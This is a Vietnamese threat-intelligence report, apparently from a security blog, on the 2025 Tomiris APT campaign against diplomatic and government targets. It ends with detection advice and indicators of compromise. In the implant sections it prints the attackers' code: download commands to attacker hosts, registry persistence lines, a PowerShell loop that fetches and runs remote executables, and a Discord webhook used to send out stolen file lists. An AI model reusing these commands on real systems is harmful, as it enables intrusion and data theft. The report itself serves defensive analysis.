Skip to main content

Command Palette

Search for a command to run...

Phân tích chiến dịch tấn công Tomiris 2025 – Báo cáo kỹ thuật chi tiết

Updated
8 min read
Phân tích chiến dịch tấn công Tomiris 2025 – Báo cáo kỹ thuật chi tiết

Trong quá trình theo dõi nhóm APT Tomiris, chúng tôi đã phát hiện một loạt chiến dịch tấn công mới bắt đầu từ đầu năm 2025. Các hoạt động này nhắm vào các bộ ngoại giao, tổ chức liên chính phủ, và cơ quan nhà nước, cho thấy mục tiêu rõ ràng là cơ sở hạ tầng ngoại giao và chính trị có giá trị cao.

Ở nhiều trường hợp, chúng tôi theo dõi được toàn bộ chuỗi tấn công – từ khi nạn nhân bị xâm nhập cho đến giai đoạn triển khai các công cụ hậu khai thác (post-exploitation frameworks).

Một điểm đáng chú ý là Tomiris đã thay đổi chiến thuật: tăng cường sử dụng implant giao tiếp qua dịch vụ công cộng như TelegramDiscord để thực hiện C2. Cách này giúp che giấu lưu lượng độc hại dưới dạng lưu lượng hợp pháp, khiến việc phát hiện trở nên khó khăn hơn.

Phần lớn ca nhiễm bắt đầu bằng việc cài implant shell đảo ngược (reverse shell) viết bằng nhiều ngôn ngữ: Go, Rust, C/C#/C++, Python. Từ đó, kẻ tấn công tiếp tục tải về framework hậu khai thác Havoc hoặc AdaptixC2.


Tóm tắt kỹ thuật

  • Phát hiện nhiều implant mới viết bằng nhiều ngôn ngữ khác nhau

  • Nhiều implant sử dụng Telegram hoặc Discord làm C2

  • Ghi nhận việc triển khai HavocAdaptixC2 trong giai đoạn hậu khai thác

Các mã độc trong chiến dịch được Kaspersky nhận diện dưới các định danh:


1. Giai đoạn xâm nhập ban đầu

Cuộc tấn công bắt đầu bằng email lừa đảo chứa một tệp nén có mật khẩu.

Example of a phishing email containing a malicious archive

Mật khẩu thường được ghi ngay trong nội dung email. Bên trong là một file thực thi, đôi khi bị ngụy trang dưới icon tài liệu Office hoặc dùng double-extension như:

document.doc            .exe

Ngoài ra, nhiều file có tên rất dài khiến phần đuôi .exe bị che khuất khi xem trong trình duyệt archive.

Example of an archive with a malicious executable

Khi người dùng mở file, implant ban đầu sẽ được kích hoạt. Tùy trường hợp, các implant khác nhau nhưng thường giữ cùng tên file trong archive.


2. Các implant được sử dụng

2.1 Tomiris C/C++ ReverseShell

Tomiris C/C++ ReverseShell infection schema

Đây là reverse shell đơn thuần, được vận hành thủ công bởi attacker. Ngay sau khi chạy, attacker sẽ:

Bước 1 – Do thám hệ thống

Chạy các lệnh như:

whoami
ipconfig /all
systeminfo
hostname
net user /dom
dir

Bước 2 – Tải implant tiếp theo (AdaptixC2)

Sử dụng công cụ tích hợp sẵn của Windows:

bitsadmin /transfer ...
curl -o ...
certutil -urlcache ...
powershell -Command Invoke-WebRequest ...

Bước 3 – Kiểm tra tải xuống thành công

Kiểm tra thư mục %temp% hoặc %public%\libraries.

Bước 4 – Thiết lập persistence

Thêm implant vào registry:


reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdate /t REG_SZ /d $public\pictures\winupdate.exe /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Win-NetAlone" /t REG_SZ /d "$public\videos\alone.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Winservice" /t REG_SZ /d "$public\Pictures\dwm.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurrentVersion/t REG_SZ /d $public\Pictures\sbschost.exe /f

Đánh giá:

Ba biến thể C/C++ ReverseShell được quan sát. Tất cả đều rất tối giản – không tự nhân bản, không persistence trừ khi attacker chủ động tạo.


2.2 Tomiris Rust Downloader (implant mới)

Tomiris Rust Downloader infection schema

Implant chưa từng được công bố trước đây, viết bằng Rust, kích thước lớn nhưng chức năng đơn giản.

Hành vi:

1. Thu thập thông tin hệ thống

"cmd" /C "ipconfig /all"
"cmd" /C "echo %username%"
"cmd" /C hostname
"cmd" /C ver
"cmd" /C curl hxxps://ipinfo[.]io/ip
"cmd" /C curl hxxps://ipinfo[.]io/country

2. Liệt kê file

Tìm file có phần mở rộng trên các ổ C:/, D:/, E:/, F:/, G:/, H:/, I:/ hoặc J:/:

.jpg .jpeg .png .txt .rtf .pdf .xlsx .docx

Loại trừ các thư mục hệ thống như “.wrangler”, “.git”, “node_modules”, “Program Files”, “Program Files (x86)”, “Windows”, “Program Data” và “AppData”.

3. Gửi dữ liệu lên Discord

Gửi JSON thông tin hệ thống + danh sách đường dẫn file qua webhook Discord.

hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX

Example of "payload_json"

4. Triển khai giai đoạn tiếp theo

Tạo script.vbsscript.ps1. Script PowerShell chạy vòng lặp 60 giây, cố tải về:

http://193.149.129.113/<PC_NAME>/1.zip

Giải nén vào %TEMP%\rfolder và chạy tất cả .exe.

Nội dung file script.vbs:

Set Shell = CreateObject("WScript.Shell")
Shell.Run "powershell -ep Bypass -w hidden -File %temp%\script.ps1"

Nội dung file script.ps1:

$Url = "hxxp://193.149.129[.]113/<PC_NAME>" 
$dUrl = $Url + "/1.zip" 
while($true){
    try{
        $Response = Invoke-WebRequest -Uri $Url -UseBasicParsing -ErrorAction Stop
        iwr -OutFile $env:Temp\1.zip -Uri $dUrl
        New-Item -Path $env:TEMP\rfolder -ItemType Directory
        tar -xf $env:Temp\1.zip -C $env:Temp\rfolder
        Get-ChildItem $env:Temp\rfolder -Filter "*.exe" | ForEach-Object {Start-Process $_.FullName }
        break
    }catch{
        Start-Sleep -Seconds 60
    }
}

Ghi nhận:

Trong một trường hợp, file tải xuống là payload Havoc.


2.3 Tomiris Python Discord ReverseShell

Tomiris Python Discord ReverseShell infection schema

  • Viết bằng Python

  • Biên dịch bằng PyInstaller

  • Bị obfuscate bằng PyArmor

Python Discord ReverseShell

Chức năng:

  • Điều khiển C2 qua Discord API

  • Nhận lệnh console và trả kết quả lại C2

  • Tải thêm implant (AdaptixC2, Python FileGrabber)


2.4 Tomiris Python FileGrabber

Trojan này được cài đặt thông qua Tomiris Python Discord ReverseShell. Kẻ tấn công thực hiện bằng cách thực thi câu lệnh:

cmd.exe /c "curl -o $public\videos\offel.exe http://<HOST>/offel.exe"

Trojan này sẽ thu thập file cod định dạng:

.jpg .png .pdf .txt .doc .docx

Sau đó sẽ nén thành ZIP và gửi về C2 qua HTTP POST.

Bỏ qua các thư mục hệ thống (AppData, Windows, Program Files…).


2.5 Distopia Backdoor

Distopia Backdoor infection schema

  • Dựa hoàn toàn trên dự án dystopia-c2 trên GitHub

  • Viết bằng Python

  • Chức năng:

    • chạy lệnh

    • tải lên / tải xuống file

    • kết thúc process

cmd.exe /c "dir"
cmd.exe /c "dir C:\user\[username]\pictures"
cmd.exe /c "pwd"
cmd.exe /c "curl -O $public\sysmgmt.exe http://<HOST>/private/svchost.exe"
cmd.exe /c "$public\sysmgmt.exe"

Dùng để triển khai Python Telegram ReverseShell ở giai đoạn kế tiếp.


2.6 Tomiris Python Telegram ReverseShell

  • Viết Python, compile PyInstaller

  • Obfuscate bằng PyArmor

  • Giao tiếp C2 qua Telegram bot

  • Không phải là phiên bản mới của Telemiris – là công cụ riêng biệt

Python Telegram ReverseShell (to the right) and Telemiris (to the left)


2.7 Các implant khác (giai đoạn đầu)

  • Tomiris C# Telegram ReverseShell

Tomiris C# Telegram ReverseShell

  • JLORAT, là implant lâu đời từ 2022, ít thay đổi

  • Tomiris Rust ReverseShell, được viết bằng Rust, sử dụng PowerShell thay vì cmd.exe

  • Tomiris Go ReverseShell, viết bằng Golang, kết nối tới IP 62.113.114.209 port 443

  • PowerShell Telegram Backdoor, là backdoor được viết bằng PowerShell sử dụng Telegram để kết nối tới máy chủ C2

  • Tomiris C# ReverseShell, là reverse sehll được viết bằng C#

Tomiris C# ReverseShell main routine


2.8 Tomiris C++ ReverseSocks

Dùng để hỗ trợ lateral movement hoặc che giấu scanner.

  • C++ ReverseSocks – dựa trên GitHub Neosama/Reverse-SOCKS5

  • Go ReverseSocks – dựa trên GitHub Acebond/ReverseSocks5

Cả hai đã bị chỉnh sửa để ẩn console.


3. Nạn nhân

Hơn 50% email phishing được viết bằng tiếng Nga, nhắm vào các tổ chức nói tiếng Nga. Số còn lại hướng đến:

  • Turkmenistan

  • Kyrgyzstan

  • Tajikistan

  • Uzbekistan

Các email chứa nội dung phù hợp với quốc gia được nhắm đến.


4. Đánh giá

Dựa trên:

  • Cách đặt tên file rất dài, mang tính mô tả chi tiết

  • File nằm trong archive có mật khẩu theo định dạng “XXX@2025“, ví dụ như là min@2025, sib@2025…

  • Nhiều malware khác nhau dùng chung tên file

  • Implant JLORAT và nhiều biến thể shell map về cùng mô hình tấn công

→ Đây là các công cụ thuộc về nhóm Tomiris


5. Kết luận

Chiến dịch Tomiris 2025 cho thấy:

  • Mã độc đa ngôn ngữ giúp tăng tính linh hoạt và giảm khả năng bị phát hiện

  • Sử dụng dịch vụ công cộng làm C2 (Telegram/Discord) để che giấu lưu lượng

  • Tập trung vào các mục tiêu chính phủ, ngoại giao, liên chính phủ

  • Dùng các framework hậu khai thác mạnh như HavocAdaptixC2

Để phát hiện loại hoạt động này, cần áp dụng:

  • Phân tích hành vi (behavioral detection)

  • Giám sát lưu lượng mạng

  • Kiểm tra bất thường trong registry, persistence, script lạ

  • Kiểm soát nghiêm ngặt lưu lượng tới dịch vụ công cộng (Discord/Telegram) từ máy chủ nội bộ


6. IOC

MD5 Hash:

Distopia Backdoor

B8FE3A0AD6B64F370DB2EA1E743C84BB

Tomiris Python Discord ReverseShell

091FBACD889FA390DC76BB24C2013B59

Tomiris Python FileGrabber

C0F81B33A80E5E4E96E503DBC401CBEE

Tomiris Python Telegram ReverseShell

42E165AB4C3495FADE8220F4E6F5F696

Tomiris C# Telegram ReverseShell

2FBA6F91ADA8D05199AD94AFFD5E5A18

Tomiris C/C++ ReverseShell

0F955D7844E146F2BD756C9CA8711263
078BE0065D0277935CDCF7E3E9DB4679
33ED1534BBC8BD51E7E2CF01CADC9646

Tomiris Rust Downloader

1083B668459BEACBC097B3D4A103623F

JLORAT

C73C545C32E5D1F72B74AB0087AE1720

Tomiris Rust ReverseShell

9A9B1BA210AC2EBFE190D1C63EC707FA

Tomiris C++ ReverseSocks (based on GitHub Neosama/Reverse-SOCKS5)

2ED5EBC15B377C5A03F75E07DC5F1E08

Tomiris PowerShell Telegram Backdoor

C75665E77FFB3692C2400C3C8DD8276B

Tomiris C# ReverseShell

DF95695A3A93895C1E87A76B4A8A9812

Tomiris Go ReverseShell

087743415E1F6CC961E9D2BB6DFD6D51

Tomiris Go ReverseSocks (based on GitHub Acebond/ReverseSocks5)

83267C4E942C7B86154ACD3C58EAF26C

AdaptixC2

CD46316AEBC41E36790686F1EC1C39F0
1241455DA8AADC1D828F89476F7183B7
F1DCA0C280E86C39873D8B6AF40F7588

Havoc

4EDC02724A72AFC3CF78710542DB1E6E

URL:

  • hxxps://discord[.]com/api/webhooks/1357597727164338349/ikaFqukFoCcbdfQIYXE91j-dGB-8YsTNeSrXnAclYx39Hjf2cIPQalTlAxP9-2791UCZ

  • hxxps://discord[.]com/api/webhooks/1370623818858762291/p1DC3l8XyGviRFAR50de6tKYP0CCr1hTAes9B9ljbd-J-dY7bddi31BCV90niZ3bxIMu

  • hxxps://discord[.]com/api/webhooks/1388018607283376231/YYJe-lnt4HyvasKlhoOJECh9yjOtbllL_nalKBMUKUB3xsk7Mj74cU5IfBDYBYX-E78G

  • hxxps://discord[.]com/api/webhooks/1386588127791157298/FSOtFTIJaNRT01RVXk5fFsU_sjp_8E0k2QK3t5BUcAcMFR_SHMOEYyLhFUvkY3ndk8-w

  • hxxps://discord[.]com/api/webhooks/1369277038321467503/KqfsoVzebWNNGqFXePMxqi0pta2445WZxYNsY9EsYv1u_iyXAfYL3GGG76bCKy3-a75

  • hxxps://discord[.]com/api/webhooks/1396726652565848135/OFds8Do2qH-C_V0ckaF1AJJAqQJuKq-YZVrO1t7cWuvAp7LNfqI7piZlyCcS1qvwpXTZ

  • hxxp://62.113.115[.]89/homepage/infile.php

  • hxxps://api.telegram[.]org/bot7562800307:AAHVB7Ctr-K52J-egBlEdVoRHvJcYr-0nLQ/

  • hxxps://api.telegram[.]org/bot7804558453:AAFR2OjF7ktvyfygleIneu_8WDaaSkduV7k/

  • hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX

  • hxxps://discordapp[.]com/api/webhooks/1363764458815623370/IMErckdJLreUbvxcUA8c8SCfhmnsnivtwYSf7nDJF-bWZcFcSE2VhXdlSgVbheSzhGYE

  • hxxps://discordapp[.]com/api/webhooks/1355019191127904457/xCYi5fx_Y2-ddUE0CdHfiKmgrAC-Cp9oi-Qo3aFG318P5i-GNRfMZiNFOxFrQkZJNJsR

  • hxxp://82.115.223[.]218/

  • hxxp://172.86.75[.]102/

  • hxxp://193.149.129[.]113/

  • hxxp://82.115.223[.]210:9942/bot_auth

  • hxxp://88.214.26[.]37:9942/bot_auth

  • hxxp://141.98.82[.]198:9942/bot_auth

  • hxxps://api.telegram[.]org/bot8044543455:AAG3Pt4fvf6tJj4Umz2TzJTtTZD7ZUArT8E/

  • hxxps://api.telegram[.]org/bot7864956192:AAEjExTWgNAMEmGBI2EsSs46AhO7Bw8STcY/

  • hxxps://api.telegram[.]org/bot8039791391:AAHcE2qYmeRZ5P29G6mFAylVJl8qH_ZVBh8/

  • hxxps://api.telegram[.]org/bot7157076145:AAG79qKudRCPu28blyitJZptX_4z_LlxOS0/

  • hxxps://api.telegram[.]org/bot7649829843:AAH_ogPjAfuv-oQ5_Y-s8YmlWR73Gbid5h0/

  • hxxp://188.127.251[.]146:8080/sbchost.rar

  • hxxp://188.127.251[.]146:8080/sxbchost.exe

  • hxxp://192.153.57[.]9/private/svchost.exe

  • hxxp://193.149.129[.]113/732.exe

  • hxxp://193.149.129[.]113/system.exe

  • hxxp://195.2.79[.]245/732.exe

  • hxxp://195.2.79[.]245/code.exe

  • hxxp://195.2.79[.]245/firefox.exe

  • hxxp://195.2.79[.]245/rever.exe

  • hxxp://195.2.79[.]245/service.exe

  • hxxp://195.2.79[.]245/winload.exe

  • hxxp://195.2.79[.]245/winload.rar

  • hxxp://195.2.79[.]245/winsrv.rar

  • hxxp://195.2.79[.]245/winupdate.exe

  • hxxp://62.113.115[.]89/offel.exe

  • hxxp://82.115.223[.]78/private/dwm.exe

  • hxxp://82.115.223[.]78/private/msview.exe

  • hxxp://82.115.223[.]78/private/spoolsvc.exe

  • hxxp://82.115.223[.]78/private/svchost.exe

  • hxxp://82.115.223[.]78/private/sysmgmt.exe

  • hxxp://85.209.128[.]171:8000/AkelPad.rar

  • hxxp://88.214.25[.]249:443/netexit.rar

  • hxxp://89.110.95[.]151/dwm.exe

  • hxxp://89.110.98[.]234/Rar.exe

  • hxxp://89.110.98[.]234/code.exe

  • hxxp://89.110.98[.]234/rever.rar

  • hxxp://89.110.98[.]234/winload.exe

  • hxxp://89.110.98[.]234/winload.rar

  • hxxp://89.110.98[.]234/winrm.exe

  • hxxps://docsino[.]ru/wp-content/private/alone.exe

  • hxxps://docsino[.]ru/wp-content/private/winupdate.exe

  • hxxps://sss.qwadx[.]com/12345.exe

  • hxxps://sss.qwadx[.]com/AkelPad.exe

  • hxxps://sss.qwadx[.]com/netexit.rar

  • hxxps://sss.qwadx[.]com/winload.exe

  • hxxps://sss.qwadx[.]com/winsrv.exe

IP:

  • 77.232.39[.]47

  • 109.172.85[.]63

  • 109.172.85[.]95

  • 185.173.37[.]67

  • 185.231.155[.]111

  • 195.2.81[.]99

  • 185.209.30[.]41

  • 185.231.154[.]84

  • 206.188.196[.]191

  • 188.127.225[.]191

  • 188.127.251[.]146

  • 94.198.52[.]200

  • 188.127.227[.]226

  • 185.244.180[.]169

  • 91.219.148[.]93

  • 62.113.114[.]209

  • 195.2.78[.]133

  • 192.165.32[.]78

  • 188.127.231[.]136

  • 77.232.42[.]107

  • 94.198.52[.]210

  • 96.9.124[.]207

  • 192.153.57[.]189

  • 64.7.199[.]193

  • 78.128.112[.]209


7. Tham khảo

Newsletters

Part 1 of 50

More from this blog

F

FPT IS Security

761 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.